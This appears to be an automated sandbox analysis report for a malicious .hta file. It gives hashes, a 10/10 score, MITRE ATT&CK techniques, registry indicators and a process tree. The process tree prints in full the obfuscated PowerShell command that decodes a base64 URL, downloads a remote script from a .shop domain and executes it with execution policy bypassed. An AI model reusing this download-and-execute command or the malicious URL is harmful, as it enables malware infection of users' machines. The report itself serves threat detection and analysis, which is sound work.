edebb1c19818a5dc2f09d95f6852c328e9427bc460c3517b543cdf101fba7d84

Resubmissions

23-12-2024 13:11

241223-qe4yfszrgj 10

23-12-2024 12:31

241223-pqanbazjcs 10

Analysis

max time kernel
117s
max time network
118s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
23-12-2024 13:11

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General

Target

.hta
Size

722B
MD5

4f2067f591d1db46908f42c461b43bc8
SHA1

dbb6c2be0345648645105f5f8646662e319a01ba
SHA256

edebb1c19818a5dc2f09d95f6852c328e9427bc460c3517b543cdf101fba7d84
SHA512

5fde4eea4445de8ac73e510c43475b025d12d8f4e9c71e230d7b99a49efc8c6fa381bcda09295c26afb294bd67cf0a63c20f538dd3b66b702ca9f1ac75bf1c9a

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://polovoiinspektor.shop/secure/login.txt

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
1936	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1936	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1936	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2196 wrote to memory of 1936	2196	mshta.exe	31
PID 2196 wrote to memory of 1936	2196	mshta.exe	31
PID 2196 wrote to memory of 1936	2196	mshta.exe	31
PID 2196 wrote to memory of 1936	2196	mshta.exe	31

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\.hta"
1⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:2196
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "& {$U=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('aHR0cHM6Ly9wb2xvdm9paW5zcGVrdG9yLnNob3Avc2VjdXJlL2xvZ2luLnR4dA=='));$C=(Invoke-WebRequest -Uri $U -UseBasicParsing).Content;$B=[scriptblock]::Create($C);&$B}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1936

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1936-2-0x0000000002050000-0x0000000002090000-memory.dmp

Filesize
256KB

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